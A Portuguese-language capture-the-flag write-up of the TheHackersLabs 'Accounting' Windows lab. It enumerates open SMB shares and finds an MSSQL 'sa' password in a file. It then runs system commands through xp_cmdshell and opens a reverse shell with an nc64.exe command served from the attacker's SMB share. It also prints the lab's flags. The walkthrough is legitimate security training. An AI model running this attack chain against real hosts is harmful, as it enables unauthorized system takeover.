Hello Friend
LinkedIn
  • Hello Friend
  • CTF
    • HackTheBox
      • Ambassador
      • BoardLight
      • Driver
      • Editorial
      • Love
      • Photobomb
      • Return
      • Shocker
      • Squashed
      • TwoMillion
    • Vulnhub
      • Venom 1
    • HackMyVM
      • Eyes
    • TheHackersLabs
      • Accounting
    • Sherlocks
      • Brutus
Fornecido por GitBook
Nesta página
  • Reconhecimento de Rede
  • Descoberta de Hosts Ativos
  • Verificando a conectividade via Ping
  • Varredura de Portas e Serviços
  • Explorando o SMB
  • Explorando o MSSQL
  • Testando Conectividade
  • Ganhando Acesso ao Alvo
  • User Flag
  • Root Flag
  • Descobrindo um Alternate Data Stream (ADS)
  1. CTF
  2. TheHackersLabs

Accounting

#easy #TheHackersLabs #Windows #eJPT

AnteriorTheHackersLabsPróximoSherlocks

Atualizado há 6 meses

Guia com dicas que podem te auxiliar na resolução do CTF antes de ler o write-up.
  1. Escaneie portas do alvo para identificar serviços.

  2. Explore e baixe arquivos interessantes do SMB.

  3. Use o MSSQL para explorar formas de execução remota de comandos.

  4. Obtenha uma shell reversa na máquina alvo.

  5. Verifique o fluxo de dados alternativos (ADS) no arquivo do root.

Reconhecimento de Rede

Descoberta de Hosts Ativos

O primeiro passo foi identificar os hosts ativos na rede local. Para isso, utilizei a ferramenta arp-scan, que realiza uma varredura ARP passiva. Este método é eficaz para descobrir dispositivos que estão na mesma sub-rede, uma vez que a comunicação ARP é comum entre dispositivos conectados.

┌──(root㉿attacker)-[/home/kali/CTF]
└─# arp-scan -I eth0 --localnet
Interface: enp0s3, type: EN10MB, MAC: 08:00:27:66:e3:76, IPv4: 10.0.2.15
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.8	08:00:27:cc:e5:63	PCS Systemtechnik GmbH

O scan revelou que a máquina alvo estava no IP 10.0.2.8. Esse foi o meu ponto de partida para os próximos passos.

Verificando a conectividade via Ping

A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.

No retorno, o TTL de 128 é uma indicação de que possivelmente estamos lidando com um sistema Windows. O TTL inicial para sistemas Windows costuma ser 128, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 128, é provável que o sistema alvo seja uma máquina Windows.

┌──(root㉿attacker)-[/home/kali/CTF]
└─# ping -c 1 10.0.2.8
PING 10.0.2.8 (10.0.2.8) 56(84) bytes of data.
64 bytes from 10.0.2.8: icmp_seq=1 ttl=128 time=2.62 ms

--- 10.0.2.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.619/2.619/2.619/0.000 ms

Varredura de Portas e Serviços

Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta nmap para verificar todas as portas (1-65535) no alvo. A varredura foi configurada para buscar por serviços, versões e scripts comumente usados para obter mais informações sobre os serviços rodando.

┌──(root㉿attacker)-[/home/kali/CTF]
└─# nmap 10.0.2.8 -sSCV -p- --min-rate=5000 -v -n -Pn -oN tcp-scan.txt -oX tcp-scan.xml
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
1801/tcp  open  msmq?
2103/tcp  open  msrpc         Microsoft Windows RPC
2105/tcp  open  msrpc         Microsoft Windows RPC
2107/tcp  open  msrpc         Microsoft Windows RPC
5040/tcp  open  unknown
5357/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp  open  pando-pub?
9047/tcp  open  unknown
9079/tcp  open  unknown
9080/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9081/tcp  open  http          Microsoft Cassini httpd 4.0.1.6 (ASP.NET 4.0.30319)
|_http-server-header: Cassini/4.0.1.6
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-title: Login Saci
|_Requested resource was /App/Login.aspx
9083/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9147/tcp  open  unknown
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49712/tcp open  msrpc         Microsoft Windows RPC
49992/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-info: 
|   10.0.2.8\COMPAC: 
|     Instance name: COMPAC
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|     TCP port: 49992
|_    Clustered: false
| ms-sql-ntlm-info: 
|   10.0.2.8\COMPAC: 
|     Target_Name: DESKTOP-M464J3M
|     NetBIOS_Domain_Name: DESKTOP-M464J3M
|     NetBIOS_Computer_Name: DESKTOP-M464J3M
|     DNS_Domain_Name: DESKTOP-M464J3M
|     DNS_Computer_Name: DESKTOP-M464J3M
|_    Product_Version: 10.0.19041
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-10-13T02:33:53
| Not valid after:  2054-10-13T02:33:53
| MD5:   2875:5449:aa73:e44d:3cb1:9910:1677:8404
|_SHA-1: aaaa:4d75:d253:60d6:333f:8f48:c358:1519:3f36:c278
|_ssl-date: 2024-10-13T03:02:23+00:00; +7h59m47s from scanner time.
MAC Address: 08:00:27:CC:E5:63 (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h59m46s, deviation: 0s, median: 7h59m46s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-10-13T03:01:40
|_  start_date: N/A
| nbstat: NetBIOS name: DESKTOP-M464J3M, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:cc:e5:63 (Oracle VirtualBox virtual NIC)
| Names:
|   DESKTOP-M464J3M<20>  Flags: <unique><active>
|   DESKTOP-M464J3M<00>  Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1e>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>

Na enumeração, é retornado várias portas, chamando a atenção:

  • Porta 445 (Microsoft SMB)

  • Porta 49992 (Microsoft SQL Server 2017)

Visualizando Resultados do Nmap

Para facilitar a análise dos resultados do Nmap, utilizamos o nmap-bootstrap-xsl, que converte os arquivos de saída XML para um formato HTML visualmente mais atraente.

Passos para utilizar o Nmap Bootstrap:

  1. Clonar o repositório do Nmap Bootstrap:

    ┌──(root㉿attacker)-[/home/kali/CTF]
    └─# git clone https://github.com/honze-net/nmap-bootstrap-xsl
    Cloning into 'nmap-bootstrap-xsl'...
  2. Usar o xsltproc para converter o arquivo XML em HTML:

    ┌──(root㉿attacker)-[/home/kali/CTF]
    └─# xsltproc -o tcp-scan.html nmap-bootstrap-xsl/nmap-bootstrap.xsl tcp-scan.xml

Isso gerou um relatório visual que ajudou a organizar melhor as informações da varredura.

Serviço SMB (porta 445): Esse serviço pode oferecer vulnerabilidades comuns em servidores Windows, especialmente em sistemas que não estão atualizados.

Microsoft SQL Server (porta 49992): Um banco de dados exposto dessa forma é um alvo potencial para enumeração de credenciais e exploração, especialmente se for possível acesso a usuários ou privilégios administrativos no SQL Server.

Explorando o SMB

Reconhecimento inicial de SMB

Ao iniciar a exploração, descobrimos que o alvo está rodando uma versão do Windows Server 2019 através de uma verificação com o crackmapexec. Esta etapa nos dá uma ideia da superfície de ataque e das versões dos sistemas envolvidos.

┌──(root㉿attacker)-[/home/kali/CTF]
└─# crackmapexec smb 10.0.2.8
SMB         10.0.2.8        445    DESKTOP-M464J3M  [*] Windows 10 / Server 2019 Build 19041 x64 (name:DESKTOP-M464J3M) (domain:DESKTOP-M464J3M) (signing:False) (SMBv1:False)

Listagem de compartilhamentos SMB sem credenciais

Na sequência, tentamos enumerar os compartilhamentos SMB usando uma sessão sem credenciais. Isso nos dá acesso às pastas compartilhadas que têm permissões de leitura e escrita, o que pode ser explorado posteriormente.

┌──(root㉿attacker)-[/home/kali/CTF]
└─# crackmapexec smb 10.0.2.8 -u 'null' -p '' --shares
SMB         10.0.2.8        445    DESKTOP-M464J3M  [*] Windows 10 / Server 2019 Build 19041 x64 (name:DESKTOP-M464J3M) (domain:DESKTOP-M464J3M) (signing:False) (SMBv1:False)
SMB         10.0.2.8        445    DESKTOP-M464J3M  [+] DESKTOP-M464J3M\null: 
SMB         10.0.2.8        445    DESKTOP-M464J3M  [+] Enumerated shares
SMB         10.0.2.8        445    DESKTOP-M464J3M  Share           Permissions     Remark
SMB         10.0.2.8        445    DESKTOP-M464J3M  -----           -----------     ------
SMB         10.0.2.8        445    DESKTOP-M464J3M  ADMIN$                          Admin remota
SMB         10.0.2.8        445    DESKTOP-M464J3M  C$                              Recurso predeterminado
SMB         10.0.2.8        445    DESKTOP-M464J3M  Compac          READ,WRITE      
SMB         10.0.2.8        445    DESKTOP-M464J3M  IPC$            READ            IPC remota
SMB         10.0.2.8        445    DESKTOP-M464J3M  Users           READ  

O compartilhamento Compac possui permissões de leitura e escrita, o que já representa um potencial vetor de ataque.

Acessando o compartilhamento Compac

Usamos o smbclient para acessar o conteúdo desse compartilhamento. A listagem de diretórios revela a presença de pastas que podem conter arquivos interessantes.

┌──(root㉿attacker)-[/home/kali/CTF]
└─# smbclient //10.0.2.8/Compac --no-pass
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Oct 15 20:41:12 2024
  ..                                  D        0  Tue Oct 15 20:41:12 2024
  Empresas                            D        0  Sat May 11 03:49:15 2024
  Index                               D        0  Sat May 11 03:50:09 2024

		5113953 blocks of size 4096. 772566 blocks available

No diretório Empresas, identificamos um arquivo chamado SQL.txt, que baixamos para uma inspeção mais detalhada.

smb: \> cd Empresas\
smb: \Empresas\> dir
  .                                   D        0  Sat May 11 03:49:15 2024
  ..                                  D        0  Sat May 11 03:49:15 2024
  Esquemas                            D        0  Sat May 11 00:05:43 2024
  Reportes                            D        0  Sat May 11 01:32:25 2024
  SQL.txt                             A      448  Sat May 11 03:48:19 2024

		5113953 blocks of size 4096. 773319 blocks available
smb: \Empresas\> get SQL.txt
getting file \Empresas\SQL.txt of size 448 as SQL.txt (7.7 KiloBytes/sec) (average 7.7 KiloBytes/sec)

Conteúdo de SQL.txt Ao ler o conteúdo do arquivo, encontramos credenciais potencialmente úteis para o serviço MSSQL exposto:

┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat SQL.txt 
SQL 2017 
Instancia COMPAC 
sa 
Contpaqi2023.

ip
127.0.0.1

Tip para terminar instalaciones
1) Ejecutar seguridad de icono
Sobre el icono asegurarse que diga ejecutar como Administrador.

2) Ejecutar el comando regedit...
Buscar la llave Hkey Local Machine, luego Software, luego Wow32, Computacion en Accion...(abri pantalla con boton del lado derecho
donde dice seguridad y ver que aparezca "everyone" y darle control total

Essa credencial chama atenção, já que podemos utilizá-la no serviço MSSQL.

Explorando o MSSQL

Verificação da credencial

Validamos que a credencial extraída é válida no host alvo usando o crackmapexec.

┌──(root㉿attacker)-[/home/kali/CTF]
└─# crackmapexec smb 10.0.2.8 -u 'sa' -p 'Contpaqi2023.'  
SMB         10.0.2.8        445    DESKTOP-M464J3M  [*] Windows 10 / Server 2019 Build 19041 x64 (name:DESKTOP-M464J3M) (domain:DESKTOP-M464J3M) (signing:False) (SMBv1:False)
SMB         10.0.2.8        445    DESKTOP-M464J3M  [+] DESKTOP-M464J3M\sa:Contpaqi2023.

Conectando ao MSSQL

Agora, usamos o sqsh para nos conectar ao MSSQL e confirmar se a credencial extraída pode ser usada para obter acesso administrativo ao banco de dados.

┌──(root㉿attacker)-[/home/kali/CTF]
└─# sqsh -S 10.0.2.8:49992 -U 'sa' -P 'Contpaqi2023.'
sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'

Enumeração do ambiente MSSQL

Uma vez conectados, realizamos uma enumeração básica para obter informações como a versão do SQL Server, usuário em execução, e listar as bases de dados existentes.

1> select @@version;
2> go

	Microsoft SQL Server 2017 (RTM) - 14.0.1000.169 (X64) 
	Aug 22 2017 17:04:49 
	Copyright (C) 2017 Microsoft Corporation
	Express Edition (64-bit) on Windows 10 Home 10.0 <X64> (Build 19045: ) (Hypervisor)

(1 row affected)
1> select user_name();
2> go

	dbo        

(1 row affected)
1> SELECT name FROM master.dbo.sysdatabases;
2> go

	name                                                                                                         

	master                                                                                                       

	tempdb                                                                                                       

	model                                                                                                        

	msdb                                                                                                                                             

	GeneralesSQL                                                                                                 

	DB_Directory                                                                                                 

	ADD_Catalogos                                                                                                

(7 rows affected)

Os resultados revelam que estamos em uma instância do SQL Server 2017 e que estamos executando com permissões de dbo, o que nos dá bastante controle sobre o banco de dados.

Execução de comandos via xp_cmdshell

Testamos o comando xp_cmdshell, que nos permite executar comandos diretamente no sistema operacional alvo. Ao executar um simples whoami, descobrimos que o processo MSSQL está sendo executado como nt authority\system, o que nos dá controle total sobre o sistema.

1> xp_cmdshell "whoami"
2> go

	output                                                                                                       

	nt authority\system                                                                                          

	NULL                                                                                                         
                                                                                                                     
(2 rows affected, return status = 0)

Esse acesso abre a possibilidade de realizar movimentos laterais no sistema ou até mesmo escalada de privilégios para obter o controle completo do host.

Por meio da execução de comandos via xp_cmdshell, uma das primeiras coisas que quis fazer foi identificar o IP interno do alvo. Isso é crucial para confirmar a conectividade entre a máquina do atacante e o host comprometido, além de ajudar a mapear a rede local em um ambiente mais amplo.

Utilizei o comando ipconfig para exibir a configuração de rede do sistema comprometido:

1> xp_cmdshell "ipconfig"
2> go

	output                                                                                                       

	NULL                                                                                                         
                                                                                                                     

	Configuración IP de Windows                                                                                 
                                                                                                                     
	NULL                                                                                                                                                                                                                       
                                                    
	NULL                                                                                                         
	
	Adaptador de Ethernet Ethernet:                                                                              

	NULL                                                                                                                                               

	   Sufijo DNS específico para la conexión. . : home                                                        

	   Vínculo: dirección IPv6 local. . . : fe80::441c:ff85:b5cf:7a6d%5                                        

	   Dirección IPv4. . . . . . . . . . . . . . : 10.0.2.8                                                     

	   Máscara de subred . . . . . . . . . . . . : 255.255.255.0                                                

	   Puerta de enlace predeterminada . . . . . : 10.0.2.1                                                      

	NULL                                                                                                         
                                                                                                                                                            

(12 rows affected, return status = 0)

O output do comando ipconfig nos dá várias informações valiosas:

  • Endereço IPv4: O alvo está utilizando o IP interno 10.0.2.8 com a máscara de sub-rede 255.255.255.0.

  • Gateway padrão: A máquina se comunica com o gateway 10.0.2.1.

Esses detalhes são importantes para entender o contexto de rede do alvo. Sabendo que o IP da minha máquina atacante é 10.0.2.15, já temos indícios de que estamos na mesma sub-rede.

Testando Conectividade

Para garantir que as máquinas estavam realmente se comunicando, fiz um teste simples de ping do host comprometido para minha máquina atacante. Primeiro, preparei a captura de pacotes ICMP (protocolo utilizado pelo ping) com o tcpdump no meu lado:

┌──(root㉿attacker)-[/home/kali/CTF]
└─# tcpdump -i eth0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

Com o tcpdump rodando, executei o comando ping no alvo para verificar se a máquina comprometida era capaz de se comunicar com a minha máquina atacante:

1> xp_cmdshell "ping -n 2 10.0.2.15"
2> go

	output                                                                                                       

	NULL                                                                                                                                                   

	Haciendo ping a 10.0.2.15 con 32 bytes de datos:                                                                                                  

	Respuesta desde 10.0.2.15: bytes=32 tiempo=3ms TTL=64                                                        

	Respuesta desde 10.0.2.15: bytes=32 tiempo=1ms TTL=64                                                        

	NULL                                                                                                         
                                                                                                                     
	Estadísticas de ping para 10.0.2.15:                                                                        
                                                                                                                     
	    Paquetes: enviados = 2, recibidos = 2, perdidos = 0                                                      
                                                                                                                                                      
	    (0% perdidos),                                                                                           

	Tiempos aproximados de ida y vuelta en milisegundos:                                                         

	    Mínimo = 1ms, Máximo = 3ms, Media = 2ms                                                                

	NULL                                                                                                         

(11 rows affected, return status = 0)

No lado do atacante, o tcpdump capturou os pacotes ICMP conforme esperado:

┌──(root㉿attacker)-[/home/kali/CTF]
└─# tcpdump -i eth0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
14:38:32.935161 IP 10.0.2.8 > attacker: ICMP echo request, id 1, seq 1, length 40
14:38:32.935183 IP attacker > 10.0.2.8: ICMP echo reply, id 1, seq 1, length 40
14:38:33.952212 IP 10.0.2.8 > attacker: ICMP echo request, id 1, seq 2, length 40
14:38:33.952228 IP attacker > 10.0.2.8: ICMP echo reply, id 1, seq 2, length 40
^C
4 packets captured
4 packets received by filter
0 packets dropped by kernel

A captura confirma que os pacotes ICMP foram trocados entre a máquina do alvo e a minha, validando a comunicação entre os hosts.

Ganhando Acesso ao Alvo

Agora que confirmei a comunicação, a ideia é estabelecer uma reverse shell a partir do alvo. O método que utilizei evita a necessidade de baixar ferramentas diretamente no alvo, o que poderia gerar alertas. Em vez disso, usei um compartilhamento de rede SMB para fornecer o Netcat ao alvo, permitindo que ele se conecte de volta à minha máquina e execute uma reverse shell.

Passos seguidos:

  1. Download do Netcat para Windows:

    Para enviar a reverse shell, optamos por usar o netcat. Baixamos uma versão de 64 bits para Windows diretamente do site eternallybored.org e extraímos o executável nc64.exe usando o comando 7z.

    • ┌──(root㉿attacker)-[/home/kali/CTF]
      └─# wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip
      
      ┌──(root㉿attacker)-[/home/kali/CTF]
      └─# 7z x netcat-win32-1.12.zip nc64.exe
  2. Compartilhando o Netcat via SMB:

    Em vez de enviar o binário diretamente ao alvo, configuramos um servidor SMB com o impacket-smbserver, compartilhando o diretório contendo o nc64.exe para que o alvo pudesse acessá-lo remotamente.

    • ┌──(root㉿attacker)-[/home/kali/CTF]
      └─# ls
      SQL.txt  nc64.exe  netcat-win32-1.12.zip

    • ┌──(root㉿attacker)-[/home/kali/CTF]
      └─# impacket-smbserver smbFolder $(pwd) -smb2support
      Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
      
      [*] Config file parsed
      [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
      [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
      [*] Config file parsed
      [*] Config file parsed
  3. Configurando o listener no atacante:

    Enquanto preparávamos o alvo, configuramos o pwncat ****para escutar na porta 443, onde receberíamos a shell reversa.

    • ┌──(root㉿attacker)-[/home/kali/CTF]
      └─# pwncat -l 443
  4. Executando o Netcat no Alvo via SMB:

    Utilizando a xp_cmdshell do alvo, o Netcat foi executado diretamente a partir do compartilhamento SMB. Com isso, enviamos a shell reversa para o listener configurado na máquina atacante, garantindo que não precisássemos baixar ou instalar nada no sistema alvo.

    • 1> xp_cmdshell '\\10.0.2.15\smbFolder\nc64.exe -e cmd 10.0.2.15 443'
      2> go
    • ┌──(root㉿attacker)-[/home/kali/CTF]
      └─# impacket-smbserver smbFolder $(pwd) -smb2support
      Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
      
      [*] Config file parsed
      [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
      [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
      [*] Config file parsed
      [*] Config file parsed
      [*] Incoming connection (10.0.2.8,50002)
      [*] AUTHENTICATE_MESSAGE (\,DESKTOP-M464J3M)
      [*] User DESKTOP-M464J3M\ authenticated successfully
      [*] :::00::aaaaaaaaaaaaaaaa
      [*] Connecting Share(1:IPC$)
      [*] Connecting Share(2:smbFolder)
      [*] Disconnecting Share(1:IPC$)
      [*] Disconnecting Share(2:smbFolder)
      [*] Closing down connection (10.0.2.8,50002)
      [*] Remaining connections []
      [*] Incoming connection (10.0.2.8,50003)
      [*] AUTHENTICATE_MESSAGE (\,DESKTOP-M464J3M)
      [*] User DESKTOP-M464J3M\ authenticated successfully
      [*] :::00::aaaaaaaaaaaaaaaa
      [*] Connecting Share(1:smbFolder)

A conexão foi bem-sucedida, como mostrado pelos logs do servidor SMB, que confirmaram o acesso ao compartilhamento, e pelo listener pwncat que recebeu a shell com privilégios de NT AUTHORITY\SYSTEM, o nível mais alto de privilégio em sistemas Windows.

┌──(root㉿attacker)-[/home/kali/CTF]
└─# pwncat -l 443          
Microsoft Windows [Versi�n 10.0.19045.2965]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Windows\system32>ipconfig
ipconfig

Configuraci�n IP de Windows

Adaptador de Ethernet Ethernet:

   Sufijo DNS espec�fico para la conexi�n. . : home
   V�nculo: direcci�n IPv6 local. . . : fe80::441c:ff85:b5cf:7a6d%5
   Direcci�n IPv4. . . . . . . . . . . . . . : 10.0.2.8
   M�scara de subred . . . . . . . . . . . . : 255.255.255.0
   Puerta de enlace predeterminada . . . . . : 10.0.2.1

C:\Windows\system32>whoami
whoami
nt authority\system

A tarefa final foi localizar as flags indicadoras da conclusão da máquina.

User Flag

Primeiro, busquei a user flag, geralmente armazenada no diretório do usuário. No caso, ela estava localizada no diretório de contpaqi:

C:\Users\contpaqi\Desktop>type user.txt
type user.txt
bf79ead1586ea0cd464dd58257be9e30

Root Flag

A próxima etapa foi localizar a root flag, tradicionalmente armazenada no diretório do administrador. No diretório C:\Users\admin\Desktop, encontrei um arquivo chamado root.txt:

C:\Users\admin\Desktop>type root.txt
type root.txt
                      ____...                                  
             .-"--"""".__    `.                                
            |            `    |                                
  (         `._....------.._.:          
   )         .()''        ``().                                
  '          () .=='  `===  `-.         
   . )       (         g)                                
    )         )     /        J          
   (          |.   /      . (                                  
   $$         (.  (_'.   , )|`                                 
   ||         |\`-....--'/  ' \                                
  /||.         \\ | | | /  /   \.                              
 //||(\         \`-===-'  '     \o.                            
.//7' |)         `. --   / (     OObaaaad888b.                 
(<<. / |     .a888b`.__.'d\     OO888888888888a.               
 \  Y' |    .8888888aaaa88POOOOOO888888888888888.              
  \  \ |   .888888888888888888888888888888888888b              
   |   |  .d88888P88888888888888888888888b8888888.             
   b.--d .d88888P8888888888888888a:f888888|888888b             
   88888b 888888|8888888888888888888888888\8888888

Curiosamente, o conteúdo do arquivo root.txt não continha a flag tradicional. Em vez disso, exibiu um desenho ASCII, o que me levou a suspeitar que a flag estivesse escondida em algum outro lugar.

Descobrindo um Alternate Data Stream (ADS)

Ao enumerar o diretório com o comando dir /r, que exibe fluxos de dados alternativos (ADS), descobri que o arquivo root.txt continha um fluxo adicional chamado HI:

C:\Users\admin\Desktop>dir /r
dir /r
 El volumen de la unidad C no tiene etiqueta.
 El n�mero de serie del volumen es: A622-5802

 Directorio de C:\Users\admin\Desktop

05/10/2024  08:12 PM    <DIR>          .
05/10/2024  08:12 PM    <DIR>          ..
05/10/2024  08:05 PM             1,192 root.txt
                                    35 root.txt:HI:$DATA
               1 archivos          1,192 bytes
               2 dirs   2,655,346,688 bytes libres

C:\Users\admin\Desktop>type root.txt:HI:$DATA
type root.txt:HI:$DATA
El nombre de archivo, el nombre de directorio o la sintaxis de la etiqueta del volumen no son correctos.

O arquivo root.txt tinha um fluxo de dados alternativo de 35 bytes chamado HI. Para acessar esse conteúdo, utilizei o comando more:

C:\Users\admin\Desktop>more < root.txt:HI
more < root.txt:HI
1b76510c01f7dbe2e420adefaf02a34b

Este fluxo alternativo continha a verdadeira root.

Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.

image.png
https://thehackerslabs.com/accounting/